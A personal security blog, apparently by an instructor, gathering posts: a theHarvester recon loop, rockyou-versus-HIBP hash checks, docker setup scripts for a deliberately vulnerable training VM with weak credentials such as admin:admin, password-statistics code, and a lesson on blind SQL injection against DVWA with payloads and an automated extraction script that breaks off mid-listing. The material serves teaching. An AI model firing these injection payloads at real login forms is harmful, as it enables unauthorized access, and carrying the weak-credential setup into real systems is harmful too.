Wrote this quick script to run theharvester:
#!/bin/bash
# Script runs the harvester
dns="domain.local"
sources="baidu bing crtsh censys cymon dogpile google googleCSE virustotal netcraft linkedin pgp twitter vhost yahoo"
numbResults="100"
for i in $sources; do
theharvester -d $dns -l $numbResults -b $i -h -f mb-$i
done
Twitter: @lokut
This blog is for educational purposes only. The opinions expressed in this blog are my own and do not reflect the views of my employers.
Saturday, September 28, 2019
Tuesday, March 26, 2019
Is rockyou password list in the Have I Been Pwned SHA1 hash list?
A couple of posts ago I wrote a tool in python to evaluate a password list for character sets that it uses and length. While I was working on it, I wondered if the rockyou password list is in the SHA1 hash collection that you can download from Have I Been Pwned (HIBP).
Below is a bash script that I wrote. To accomplish this I created a file with all of the SHA1 hashes for the rockyou password list. Then I split the rockyou hash list into files that contained 3000 hashes in each file. Then using egrep searched for the hashes in the HIBP list. The hashes that were found were then saved in a file called zlist.txt.
HIBP SHA1 List (22GB) contains 551,509,767
Rockyou SHA1 List (561MB) contains 14,344,391
Rockyou SHA1 found in HIBP list 14,333,886
Number of passwords not found in HIBP is 10,505
Below is a bash script that I wrote. To accomplish this I created a file with all of the SHA1 hashes for the rockyou password list. Then I split the rockyou hash list into files that contained 3000 hashes in each file. Then using egrep searched for the hashes in the HIBP list. The hashes that were found were then saved in a file called zlist.txt.
#!/bin/bash
# Goal was to evaluate the cross-over between the rockyou list and the haveibeenpwned list as of 3/20/2019
# The rockyou list had to be converted from plain-text passwords to an upper-case SHA-1
# To accomplish the above task created a hashRockYou.py file and saved output as rockyouHashes.txt
# split -l 3000 rockyouHashes.txt - This can add 3000 hashes to a egrep search
# - Takes about 50 seconds per file...
# -
# Takes the list of files that are split out and creates an array of files
listFiles=(`ls -lha | awk '{print $9 " " }' | tr -d '\n' | sed 's/^.*xaa\s/xaa /'`)
# Iterates through the list
for i in ${listFiles[@]}
do
# Outputs the date to verify the script continues to run
date
# Puts the 3000 hashes in a regular expression that can be put in egrep
regex=`cat $i | sed 's/^/|/' | tr -d '\n' | sed 's/|/\^(?:/1' | sed 's/$/)/'`
#echo "egrep -e \"$regex\" ../pwned-hashes-only.txt"
# Run egrep with the generated regex of hashes against the haveibeenpwned list of SHA1
# Create a file of the matches called zlist.txt
egrep -e "$regex" ../pwned-hashes-only.txt >> zlist.txt
done
HIBP SHA1 List (22GB) contains 551,509,767
Rockyou SHA1 List (561MB) contains 14,344,391
Rockyou SHA1 found in HIBP list 14,333,886
Number of passwords not found in HIBP is 10,505
Monday, March 18, 2019
Docker Scripts used to create and setup myhouse7 Vulenrable VM
For the myhouse7 Vulnerable VM I created a script to automate the setup of docker, setup of pre-setup docker images, and the setup of the images on Ubuntu. This was to maintain the size of the VM that had to be downloaded to a minimum size. Here is the link to the myhouse7 Vulnerable VM post.
I thought I would publish the scripta because they can be reused to build a small network in docker. The below script references files that would not exist if you ran the script after downloading it.
Below is a script that I built in python to maintain the docker environment and verify everything is running. Often times, a daemon would not be running.
Here is a quick script I wrote to save the docker images that I created.
I thought I would publish the scripta because they can be reused to build a small network in docker. The below script references files that would not exist if you ran the script after downloading it.
#!/bin/bash
# Files that need to be copied over...
# buildDockerNet.sh # This bash script
# checkHealth.py # Checks the health of the virtual machines
# dockerImages.tar.gz # Compressed tar's of the images that are used
# vol_db1srv.zip # /var/lib/mysql volume with the databases setup
# Create a /etc/rc.local
# #!/bin/bash
# /home/bob/setup/buildDockerNet.sh
# exit 0
# Setup the file as executable
# chmod 744 /etc/rc.local
# systemctl enable rc-local.service
# reboot and it should work...
# Built a python script called checkHealth.py on the host to check the health of the virtual machines. Use the results to recreate the index.php on the host. Host needs apache2 installed and running
# The health check page has 2 more flags in the page itself...
# The host has a user account called "admin" with the password of "admin"
# The purpose of this account is to allow the student to check the IP Address of the system
# Assumes that in bob's home directory the setup folder exists and this script is run from inside...
path='/home/bob/setup'
### -------- Create the config directory if it does not exist ------------- ###
if [ ! -d $path/config ]
then
mkdir $path/config
fi
### ---- Setup docker if it is not installed ---- ####
if [ ! -e $path/config/installDocker.txt ]
then
echo ""
echo "Installing Docker CE"
echo "Expects that bob is the name of the user logged in..."
# Installs the apt key for Docker
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
# Setup the repo
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
# Install docker packages
# Install unzip to extract the volumes
# Install apache2 to run a local site on port 20000
apt-get --assume-yes install docker-ce unzip apache2
# Test if docker is working
docker run hello-world
# Setup the bob user to run the docker command without sudo
usermod -aG docker bob
touch $path/config/installDocker.txt
# Enable and Start the docker daemon
systemctl enable docker
systemctl start docker
echo ""
echo "Docker successfully installed... You should restart the VM..."
else
echo ""
echo "Docker is currently installed and working..."
echo ""
fi
### --- Setup images for use by the computer --- ###
# /config/setupImages.txt
# Untar and gzip them
# docker load ...
# setup the volume for db1srv ... probably after it is created
### ---- Extract and load the Images ---- ###
if [ ! -e $path/config/setupImages.txt ] && [ -e $path/config/installDocker.txt ]
then
# Extract the .tar.gz
echo ""
echo "Extracting the images..."
tar xvzf $path/dockerImages.tar.gz -C $path
# Load the Images
echo ""
echo "Loading the extracted images..."
docker load -i $path/d-anchor-cmsv12.tar
docker load -i $path/d-apache2-backupv4.tar
docker load -i $path/d-initial.tar
docker load -i $path/d-nikto-potv2.tar
docker load -i $path/d-rsyslogv6.tar
docker load -i $path/d-sambav2.tar
docker load -i $path/mariadbv9.tar
rm -f $path/d-anchor-cmsv12.tar
rm -f $path/d-apache2-backupv4.tar
rm -f $path/d-initial.tar
rm -f $path/d-nikto-potv2.tar
rm -f $path/dockerImages.tar.gz
rm -f $path/d-rsyslogv6.tar
rm -f $path/d-sambav2.tar
rm -f $path/mariadbv9.tar
touch $path/config/setupImages.txt
elif [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
echo ""
echo "Docker images are extracted and setup..."
echo ""
else
echo ""
echo "Something is not setup correctly with docker images..."
echo ""
fi
### ---- Setup the docker networks --- ###
if [ ! -e $path/config/networks.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
echo ""
echo "Configuring Docker Networks"
docker network create --driver=bridge net10 --subnet=172.31.10.0/24
docker network create --driver=bridge net20 --subnet=172.31.20.0/24
docker network create --driver=bridge net30 --subnet=172.31.30.0/24
docker network create --driver=bridge net200 --subnet=172.31.200.0/24
touch $path/config/networks.txt
elif [ -e $path/config/networks.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
echo ""
echo "Docker networks are already setup..."
echo ""
else
echo ""
echo "Something is not setup correctly with docker networks..."
echo ""
fi
### ---- Setup the docker volumes --- ###
if [ ! -e $path/config/volumes.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
echo ""
echo "Configuring Docker Volumes"
docker volume create rsyslog_var_log # Creates a volume to retain the log information
docker volume create db1srv_var_lib_mysql # Retains the databases created or updated
sudo unzip $path/vol_db1srv.zip -d /
touch $path/config/volumes.txt
elif [ -e $path/config/volumes.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
echo ""
echo "Docker volumes are already setup..."
echo ""
else
echo ""
echo "Something is not setup correctly with docker volumes..."
echo ""
fi
### ----- Setup the local server with the flags and other items ---- ###
if [ ! -e $path/config/host.txt ] && [ -e $path/config/volumes.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
echo ""
echo "Configuring the Host"
# Changes the port on the apache2 server to port 20000
sed -i 's/Listen 80/Listen 20000/' /etc/apache2/ports.conf
systemctl restart apache2
# Useraccount admin:admin is created for reference if necessary for pulling the IP Address.
useradd admin
sed -i 's/admin:!:.*/admin:$6$IWjBaf8R$oq9Wz2OjIJPwzOzzU7FNp7EtBvPIhwEA5gZMQHt05cgAYFovOzskRouSp.5QWzgnKNlpPWcYkJeW5sb6M4Sx21:17834:0:99999:7:::/' /etc/shadow
rm -f $path/vol_db1srv.zip
# Setup crontab with the scheduled health check
echo "15/* * * * * root /home/bob/setup/checkHealth.py &> /dev/null" >> /etc/crontab
touch $path/config/host.txt
elif [ -e $path/config/host.txt ] && [ -e $path/config/volumes.txt ] && [ -e $path/config/installDocker.txt ] && [ -e $path/config/setupImages.txt ]
then
echo ""
echo "The host has already been configured..."
echo ""
else
echo ""
echo "Something is not setup correctly with the host..."
echo ""
fi
## Exit the bash script if something is not setup...
if [ ! -e $path/config/networks.txt ] || [ ! -e $path/config/volumes.txt ] || [ ! -e $path/config/installDocker.txt ] || [ ! -e $path/config/setupImages.txt ]
then
exit 0
fi
#### ---------------- Kill any docker images that may still be running --------------------- ####
for i in web1srv web1srv-v2 blue db1srv utah red two africa
do
docker stop $i &> /dev/null # Remove the web1srv container so it can be recreated
done
#### ---------------- Remove Stopped Containers - Clean-up ----- ####
docker ps -aq --no-trunc -f status=exited | xargs docker rm &> /dev/null
for i in web1srv web1srv-v2 blue db1srv utah red two africa
do
docker rm /$i &> /dev/null # Remove the web1srv container so it can be recreated
done
echo ""
echo "Launching the containers in the DMZ"
echo ""
#### ---------------- Launch in net10 DMZ ---------------- ####
# 172.31.10.17 is meant to be a web server that through the container can connect to
# the database server at 172.31.20.10 - this container will create probably a 172.31.20.2 interface on the 20 subnet
# apt install php-gd php-mbstring php-mysql - Requirements for the install...
# anchor cms does not like being in a sub-folder under the root web folder
# Blog username: admin Password: anchor
docker create -it --network=net10 --name web1srv -p 8115:80 --ip=172.31.10.17 d-anchor-cmsv12 bash
docker network connect --ip=172.31.20.27 net20 web1srv
docker start web1srv
sleep 10s
docker exec -d web1srv /etc/init.d/apache2 start
docker exec -d web1srv /etc/init.d/rsyslog start
# Setup logging of apache2 access.log to go to the rsyslog server...
# 172.31.10.22 - 3 flags
# nikto honeypot - fake phpmyadmin server
# Creation of the next 2 flags
# 1. Scanned server with nikto
# 2. cat access.log | grep "GET" | sed -e 's/.*\s"GET\s\///' | sed 's/\s.*//' | grep -v "?" | grep -v -e "/" -e "+" -e "=" -e "%" -e "_" -e "~" -e "-" -e "\\" > /var/www/html/fileList.txt
# 3. cat fileList.txt | sed 's/^/touch /' > script.sh
# 4. Ran the script in /var/www/html
# 5. Then added the below files manually
docker run -tid --network=net10 --name blue -p 8112:80 -p 443:80 -p 25:80 -p 8008:80 -p 10000:80 --ip=172.31.10.22 d-nikto-potv2 bash
sleep 10s
docker exec -d blue /etc/init.d/apache2 start # Starts the apache2 web server
docker exec -d blue /etc/init.d/rsyslog start
# Setup logging for the apache2 access.log
# 172.31.10.25 - 3 flags
docker create -it --network=net10 --name red -p 8111:80 --ip=172.31.10.25 d-apache2-backupv4 bash # nmap by default does not detect port 8111
docker network connect --ip=172.31.200.85 net200 red
docker start red
sleep 10s
docker exec -d red /etc/init.d/apache2 start # Starts the apache2 web server
docker exec -d red /etc/init.d/rsyslog start
# Setup logging...
echo ""
echo "Launching the DB Servers"
echo ""
#### ----------------- Launch in net20 DB-Servers---------------- ####
# MySQL Server for the Anchor CMS and Timeclock Software 0.99 (exploit-db)
# The timeclock software I rewrote the MySQL usage due to it being out-of-date... Would not recommend...
# Make sure you backup the volume...... :)
# docker volume create db1srv_var_lib_mysql - retains the databases created or updated
# Setup logging to 172.31.20.194 for syslog
# Setup logging to 172.31.20.194 for mysql - Customized the /etc/rsyslog.conf file to log the specific /var/log/mysql-syslog.log
docker run -d --network=net20 --name db1srv --ip=172.31.20.10 -e MYSQL_ROOT_PASSWORD=anchordb -v db1srv_var_lib_mysql:/var/lib/mysql mariadbv9
docker exec -d db1srv rm /run/rsyslogd.pid
sleep 10s
docker exec -d db1srv /etc/init.d/rsyslog start
# After it loads the 1st time check docker logs db1srv | grep GENERATE for the new root password
# Then docker exec -it db1srv mysql -uroot -p # and login to the database with the new root password
# Then you can ALTER USER 'root'@'localhost' IDENTIFIED BY 'password';
docker run -tid --network=net20 --name utah --ip=172.31.20.44 d-initial bash
echo ""
echo "Launching the Administrators subnet"
echo ""
#### ----------------- Launch in net 30 Administrator Network -------------- ####
# Setup the users heather and larryjr that have access to the fileshares - Passwords also used on the timeclock
docker create -it --network=net30 --name two --ip=172.31.30.24 d-sambav2 bash
docker network connect --ip=172.31.200.204 net200 two
docker start two
docker exec -d two /etc/init.d/smbd start
echo ""
echo "Launching the Monitoring Subnet"
echo ""
#### ----------------- Launch in net 200 Monitoring Workstation Network -------------- ####
# Syslog Server
#docker volume create rsyslog_var_log - Creates a volume to retain the log information
# Not important to retain the rsyslog_var_log volume
# SSH is listening on port 24 on the 172.31.20.194 interface only
# Set root password to be anchor
docker create -it --network=net200 --name africa --ip=172.31.200.194 -v rsyslog_var_log:/var/log d-rsyslogv6 bash
docker network connect --ip=172.31.10.194 net10 africa
docker network connect --ip=172.31.20.194 net20 africa
# db1srv is logging syslog and mysql queries to the server...
docker network connect --ip=172.31.30.194 net30 africa
docker start africa
sleep 10s
docker exec -d africa /etc/init.d/rsyslog start # Starts the rsyslog server listening on UDP and TCP 514
docker exec -d africa /etc/init.d/ssh start # Starts the ssh server for connections
#
# Run the checkhealth script at the end of this script...
sleep 60s
$path/checkHealth.py
Below is a script that I built in python to maintain the docker environment and verify everything is running. Often times, a daemon would not be running.
#!/usr/bin/python3
# Executes as a scheduled cronjob every 15 minutes...
import subprocess
f = open('/var/www/html/index.html', 'w')
f.write('')
f.write('Health Check for Docker Containers
')
f.write('Refreshed every 15 mintes...
')
f.write('Search for flags on the system. Here is your first of 20: {{tryharder:1}}')
f.write('')
f.write('
')
### Check the apache2 service of web1srv to see if it is running...
for apacheServer in ['web1srv', 'blue', 'red']:
result = subprocess.run(['docker', 'exec', apacheServer, '/etc/init.d/apache2', 'status'], stdout=subprocess.PIPE)
result = result.stdout.decode('utf-8').strip()
if "* apache2 is running" == result:
f.write('
')
f.write(apacheServer + ' apache2 is Online and Working')
f.write('
')
else:
f.write('
')
f.write(apacheServer + ' apache2 is Broken and Not Working - Trying to start the apache2 server...')
f.write('
')
resultTry = subprocess.run(['docker', 'exec', '-d', apacheServer, '/etc/init.d/apache2', 'start'], stdout=subprocess.PIPE)
resultTry = resultTry.stdout.decode('utf-8').strip()
if "* apache2 is running" == result:
f.write('
')
f.write(apacheServer + ' apache2 is Online and Working - After Starting...')
f.write('
')
else:
f.write('
')
f.write(apacheServer + ' apache2 is Broken with something Fatal... Restart VM and try again...')
f.write('
')
for syslogServer in ['web1srv', 'blue', 'red', 'db1srv', 'africa']:
result = subprocess.run(['docker', 'exec', syslogServer, '/etc/init.d/rsyslog', 'status'], stdout=subprocess.PIPE)
result = result.stdout.decode('utf-8').strip()
if "* rsyslogd is running" == result:
f.write('
')
f.write(syslogServer + ' rsyslog is Online and Working')
f.write('
')
else:
f.write('
')
f.write(syslogServer + ' rsyslog is Broken and Not Working - Trying to start the rsyslog server...')
f.write('
')
resultTry = subprocess.run(['docker', 'exec', '-d', syslogServer, '/etc/init.d/rsyslog', 'start'], stdout=subprocess.PIPE)
resultTry = resultTry.stdout.decode('utf-8').strip()
if "* rsyslogd is running" == result:
f.write('
')
f.write(syslogServer + ' rsyslog is Online and Working - After Starting...')
f.write('
')
else:
f.write('
')
f.write(syslogServer + ' rsyslog is Broken with something Fatal... Restart VM and try again...')
f.write('
')
for sshServer in ['africa']:
result = subprocess.run(['docker', 'exec', sshServer, '/etc/init.d/ssh', 'status'], stdout=subprocess.PIPE)
result = result.stdout.decode('utf-8').strip()
if "* sshd is running" == result:
f.write('
')
f.write(sshServer + ' ssh is Online and Working')
f.write('
')
else:
f.write('
')
f.write(sshServer + ' ssh is Broken and Not Working - Trying to start the rsyslog server...')
f.write('
')
resultTry = subprocess.run(['docker', 'exec', '-d', sshServer, '/etc/init.d/ssh', 'start'], stdout=subprocess.PIPE)
resultTry = resultTry.stdout.decode('utf-8').strip()
if "* sshd is running" == result:
f.write('
')
f.write(sshServer + ' ssh is Online and Working - After Starting...')
f.write('
')
else:
f.write('
')
f.write(sshServer + ' ssh is Broken with something Fatal... Restart VM and try again...')
f.write('
')
for smbServer in ['two']:
result = subprocess.run(['docker', 'exec', smbServer, '/etc/init.d/smbd', 'status'], stdout=subprocess.PIPE)
result = result.stdout.decode('utf-8').strip()
if "* smbd is running" == result:
f.write('
')
f.write(smbServer + ' smb is Online and Working')
f.write('
')
else:
f.write('
')
f.write(smbServer + ' smb is Broken and Not Working - Trying to start the rsyslog server...')
f.write('
')
resultTry = subprocess.run(['docker', 'exec', '-d', smbServer, '/etc/init.d/smbd', 'start'], stdout=subprocess.PIPE)
resultTry = resultTry.stdout.decode('utf-8').strip()
if "* smb is running" == result:
f.write('
')
f.write(smbServer + ' smb is Online and Working - After Starting...')
f.write('
')
else:
f.write('
')
f.write(smbServer + ' smb is Broken with something Fatal... Restart VM and try again...')
f.write('
')
f.write('')
f.close()
Here is a quick script I wrote to save the docker images that I created.
#!/bin/bash
for i in d-anchor-cmsv12 d-nikto-potv2 d-apache2-backupv4 mariadbv9 d-initial d-sambav2 d-rsyslogv6
do
docker save --output $i.tar $i
done
Sunday, March 17, 2019
Password Requirements Evaluation
I am often asked to evaluate a list of passwords. The evaluation sometimes goes like this, how many passwords only have upper, lower-case, and numeric passwords and not special characters. Below is a script to evaluate a list of passwords for this and length of the passwords. This script does not handle unicode characters being in the passwords.
With the above script I ran it against the rockyou list and received the following statistics (I put in the comma's):
Total Passwords in List: 14,344,391
All numeric only passwords: 2,346,874
All lower-case only passwords: 3,726,802
All lower-case and numeric only passwords: 6,075,066
All upper-case only passwords: 229,917
All upper-case and numeric only passwords: 407,421
All upper-case and lower-case only passwords: 159,318
All upper-case, lower-case and numeric only passwords: 382,270
All upper-case, lower-case, numeric and special chars only passwords: 1,001,182
Unaccounted for Passwords with RegEx's: 15,541
Password Length < 8: 4,737,460
Password Length 8 to 12: 8,593,633
Password Length 13 to 16: 891,426
Password Length 17 to 20: 88,173
Password Length 21 to 32: 31,576
Password Length 33 and up: 2,123
#!/usr/bin/python3
# Script to Evaluate the Strength of Passwords and Length
import re
f = open("temp.txt", encoding="utf-8", errors="ignore")
countNumeric = 0
countLowerCase = 0
countLowerCaseNumber = 0
countUpperCase = 0
countUpperCaseNumber = 0
countUpperLowerCase = 0
countUpperLowerCaseNumber = 0
countUpperLowerCaseNumberSpecial = 0
countTotal = 0
lengthLess8 = 0
length8to12 = 0
length13to16 = 0
length17to20 = 0
length21to32 = 0
length33up = 0
for line in f:
line = line.strip()
strLength = len(line)
# All lower-case password
numericExpression = '^[0-9]{' + str(strLength) + '}$'
if re.match(numericExpression, line): countNumeric += 1
lowerCaseExpression = '^[a-z]{' + str(strLength) + '}$'
if re.match(lowerCaseExpression, line): countLowerCase += 1
lowerCaseNumericExpression = '^[a-z0-9]{' + str(strLength) + '}$'
if re.match(lowerCaseNumericExpression, line): countLowerCaseNumber += 1
upperCaseExpression = '^[A-Z]{' + str(strLength) + '}$'
if re.match(upperCaseExpression, line): countUpperCase += 1
upperCaseNumberExpression = '^[A-Z0-9]{' + str(strLength) + '}$'
if re.match(upperCaseNumberExpression, line): countUpperCaseNumber += 1
upperLowerCaseExpression = '^[A-Za-z]{' + str(strLength) + '}$'
if re.match(upperLowerCaseExpression, line): countUpperLowerCase += 1
upperLowerCaseNumericExpression = '^[A-Za-z0-9]{' + str(strLength) + '}$'
if re.match(upperLowerCaseNumericExpression, line): countUpperLowerCaseNumber += 1
upperLowerCaseNumericSpecialExpression = '^[A-Za-z0-9,.!@#$%^&?\[\]<>*_\-=+ \'"()`\.,;:/\\x5c~|]{' + str(strLength) + '}$' # \x5c = \
if re.match(upperLowerCaseNumericSpecialExpression, line):
countUpperLowerCaseNumberSpecial += 1
#else:
# print(line)
if len(line) < 8: lengthLess8 += 1
if len(line) >= 8 and len(line) <= 12: length8to12 += 1
if len(line) >= 13 and len(line) <= 16: length13to16 += 1
if len(line) >= 17 and len(line) <= 20: length17to20 += 1
if len(line) >= 21 and len(line) <= 32: length21to32 += 1
if len(line) >= 33: length33up += 1
countTotal += 1
#print(line)
print("Total Passwords in List: " + str(countTotal))
print("All numeric only passwords: " + str(countNumeric))
print("All lower-case only passwords: " + str(countLowerCase))
print("All lower-case and numeric only passwords: " + str(countLowerCaseNumber - countNumeric - countLowerCase))
print("All upper-case only passwords: " + str(countUpperCase))
print("All upper-case and numeric only passwords: " + str(countUpperCaseNumber - countUpperCase - countNumeric))
print("All upper-case and lower-case only passwords: " + str(countUpperLowerCase - countUpperCase - countLowerCase))
print("All upper-case, lower-case and numeric only passwords: " + str(countUpperLowerCaseNumber - (countUpperLowerCase - countUpperCase - countLowerCase) - (countLowerCaseNumber - countLowerCase - countNumeric) - (countUpperCaseNumber - countUpperCase - countNumeric) - countUpperCase - countLowerCase - countNumeric))
print("All upper-case, lower-case, numeric and special chars only passwords: " + str(countUpperLowerCaseNumberSpecial - (countUpperLowerCaseNumber - countUpperCase - countLowerCase - countNumeric) - countUpperCase - countLowerCase - countNumeric))
print("Unaccounted for Passwords with RegEx's: " + str(countTotal - countUpperLowerCaseNumberSpecial))
print()
print("Password Length < 8: " + str(lengthLess8))
print("Password Length 8 to 12: " + str(length8to12))
print("Password Length 13 to 16: " + str(length13to16))
print("Password Length 17 to 20: " + str(length17to20))
print("Password Length 21 to 32: " + str(length21to32))
print("Password Length 33 and up: " + str(length33up))
With the above script I ran it against the rockyou list and received the following statistics (I put in the comma's):
Total Passwords in List: 14,344,391
All numeric only passwords: 2,346,874
All lower-case only passwords: 3,726,802
All lower-case and numeric only passwords: 6,075,066
All upper-case only passwords: 229,917
All upper-case and numeric only passwords: 407,421
All upper-case and lower-case only passwords: 159,318
All upper-case, lower-case and numeric only passwords: 382,270
All upper-case, lower-case, numeric and special chars only passwords: 1,001,182
Unaccounted for Passwords with RegEx's: 15,541
Password Length < 8: 4,737,460
Password Length 8 to 12: 8,593,633
Password Length 13 to 16: 891,426
Password Length 17 to 20: 88,173
Password Length 21 to 32: 31,576
Password Length 33 and up: 2,123
Thursday, January 31, 2019
SQL Injection - Using SQL to be Efficient
In a recent class that I was teaching we were talking about SQL injection. The example and script that I provided the class was trying every character from a to z and if the response was successful then you moved onto the next character.
For example if I use the below query:
SELECT * FROM users WHERE user = '<input>' and password = '<input>';
In the above query the <input> would not be sanitized and you could manipulate the query. Using DVWA they use this query in the "Brute Force" section under "Low" security.
Here is an example that I have of how SQL injection can be done in the above query to bypass the login:
SELECT * FROM users WHERE user = 'a' OR user LIKE 'a%' OR user = 'b' and password = 'anything';
We could use the above query and go through each character in the alphabet to find the second letter. This would result in up to 26 queries to find the next letter. So with the username of "admin" it would take ~41 queries.
Let's try and be more efficient using SQL. Let's examine the following query:
SELECT * FROM users WHERE user = 'a' OR ((SUBSTRING(user, 1, 1) = 'a') AND ((SUBSTRING(user, 2, 1) >= 'a') AND (SUBSTRING(user, 2, 1) <= 'm'))) OR user = 'b' and password = 'anything';
The query takes the next letter and checks to see if it is in a range of characters. Then it decreases the range until it is within 3-4 queries of the actual letter. With the above query to find the name of admin it takes a total of 27 queries given the first letter is an "a" would be 28 queries total. Using the DVWA "Brute Force" exercise you receive the following query totals to find the following usernames:
Username: admin QueryCount: 27
Username: gordonb QueryCount: 36
Username: pablo QueryCount: 23
Username: smithy QueryCount: 36
Below is the code that I created to show how using SQL in the query to make it more efficient.
b
For example if I use the below query:
SELECT * FROM users WHERE user = '<input>' and password = '<input>';
In the above query the <input> would not be sanitized and you could manipulate the query. Using DVWA they use this query in the "Brute Force" section under "Low" security.
Here is an example that I have of how SQL injection can be done in the above query to bypass the login:
SELECT * FROM users WHERE user = 'a' OR user LIKE 'a%' OR user = 'b' and password = 'anything';
We could use the above query and go through each character in the alphabet to find the second letter. This would result in up to 26 queries to find the next letter. So with the username of "admin" it would take ~41 queries.
Let's try and be more efficient using SQL. Let's examine the following query:
SELECT * FROM users WHERE user = 'a' OR ((SUBSTRING(user, 1, 1) = 'a') AND ((SUBSTRING(user, 2, 1) >= 'a') AND (SUBSTRING(user, 2, 1) <= 'm'))) OR user = 'b' and password = 'anything';
The query takes the next letter and checks to see if it is in a range of characters. Then it decreases the range until it is within 3-4 queries of the actual letter. With the above query to find the name of admin it takes a total of 27 queries given the first letter is an "a" would be 28 queries total. Using the DVWA "Brute Force" exercise you receive the following query totals to find the following usernames:
Username: admin QueryCount: 27
Username: gordonb QueryCount: 36
Username: pablo QueryCount: 23
Username: smithy QueryCount: 36
Below is the code that I created to show how using SQL in the query to make it more efficient.
#!/usr/bin/python3
# cat temp | grep "Failed" | grep -v "QueryCount: 1" | grep "FirstLetter: a SecondLetter: m"
import urllib.parse
import urllib.request
def establishHeaders():
# You will need to update the PHPSESSID wit a valid session number
h = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Referer': 'http://typhoon.local/dvwa/vulnerabilities/brute/',
'Cookie': 'security=low; PHPSESSID=mbco2831mgi1p93dnk35gkbd97',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Host': 'typhoon.local' }
return h
def parseHTML(h):
for line in h:
if "<pre>" in line:
line = line.replace("<pre>
","").replace("</pre>","").replace("\t","")
return "No"
elif "Welcome to the password protected area" in line:
return "Yes"
#else:
# print(line)
def main(letterPassed):
print("Exploiting BVWA - Brute Force - Low Setting")
print("-------------------------------------------")
# SQL Injection goes between url1 and url2 -- url1 + injection + url2
url1 = "http://typhoon.local/dvwa/vulnerabilities/brute/?username="
url2 = "&password=x&Login=Login"
headers = establishHeaders()
case = "Go"
usernameSegment=letterPassed
usernameSegmentCount = 1 # Characters in usernameSegment
firstletter='a'
secondletter='m'
queryCount=0
while case != "Quit":
# Automating the SQL Injection with the following
# a' OR ((SUBSTRING(user, 1, 1) = 'a') AND ((SUBSTRING(user, 2, 1) >= 'a') AND (SUBSTRING(user, 2, 1) <= 'm'))) OR user = 'b
# Assumes the first letter of the username is "a" for now...
sqlinject = "a' OR ((SUBSTRING(user, 1, " + str(usernameSegmentCount) + ") = '" + usernameSegment + "') AND ((SUBSTRING(user, " + str(usernameSegmentCount+1) + ", 1) >= '" + firstletter + "') AND (SUBSTRING(user, " + str(usernameSegmentCount+1) + ", 1) <= '" + secondletter + "'))) OR user = 'b"
sql = "SELECT * FROM users WHERE user = '" + sqlinject + "' AND password = ''"
#print("\n\nSQL: "+ sql)
sqlinject = sqlinject.replace("%", "%25").replace(" ", "+").replace("'", "%27")
#postData = urllib.parse.urlencode(data)
#postData = postData.encode('ascii')
url = url1 + sqlinject + url2
#print("\nURL: " + url)
data = bytes('', 'ascii')
req = urllib.request.Request(url, data, headers)
with urllib.request.urlopen(req) as response:
output = response.read()
html = output.decode('ascii').split('\n')
successful = parseHTML(html)
queryCount += 1
if successful == "Yes" and firstletter=='a' and secondletter=='m': # if a-m then a-g
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='a'
secondletter='g'
elif successful == "No" and firstletter=='a' and secondletter=='m': # if not a-m then n-z
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='n'
secondletter='z'
elif successful == "Yes" and firstletter=='n' and secondletter=='z': # if n-z then n-t
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='n'
secondletter='t'
elif successful == "No" and firstletter=='n' and secondletter=='t': # if n-z and not n-t then u-z
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='u'
secondletter='z'
elif successful == "Yes" and firstletter=='u' and secondletter=='z': # if n-z and u-z then u-w
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='u'
secondletter='w'
elif successful == "No" and firstletter=='u' and secondletter=='w': # if n-z and u-z and not u-w then x-z
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='x'
secondletter='z'
elif successful == "Yes" and firstletter=='x' and secondletter=='z': # if n-z and u-z and x-z then x
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='x'
secondletter='x'
elif successful == "No" and firstletter=='x' and secondletter=='x': # if n-z and u-z and x-z and not x then y
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='y'
secondletter='y'
elif successful == "No" and firstletter=='y' and secondletter=='y': # if n-z and u-z and x-z and not y then z
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='z'
secondletter='z'
elif successful == "Yes" and firstletter=='u' and secondletter=='w': # if n-z and u-z and u-w then u
comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='u'
secondletter='u'
elif successful == "No" and firstletter=='u' and secondletter=='u': # if n-z and u-z and u-w and not u then v
comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
firstletter='v'
secondletter='v'
elif successful == "No" and firstletter=='v' and secondletter=='v': # if n-z and u-z and u-w and not v then w
